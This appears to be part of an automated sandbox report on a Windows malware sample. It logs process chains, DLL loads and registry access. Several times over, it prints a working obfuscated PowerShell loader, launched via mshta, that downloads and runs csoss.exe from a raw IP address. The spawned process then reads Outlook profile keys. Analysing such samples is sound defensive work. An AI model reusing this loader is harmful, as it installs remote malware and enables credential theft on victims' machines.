iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC5CF.tmp" "c:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\csoss.exe "C:\Users\user\AppData\Roaming\csoss.exe"
Source: C:\Users\user\AppData\Roaming\csoss.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\csoss.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\csoss.exe "C:\Users\user\AppData\Roaming\csoss.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC5CF.tmp" "c:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\csoss.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: csoss.exe, 00000006.00000003.1394760413.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1395803435.0000000003970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: csoss.exe, 00000006.00000003.1394760413.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1395803435.0000000003970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.pdb source: powershell.exe, 00000003.00000002.1400376615.0000000004B4A000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

PowerShell case anomaly found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; 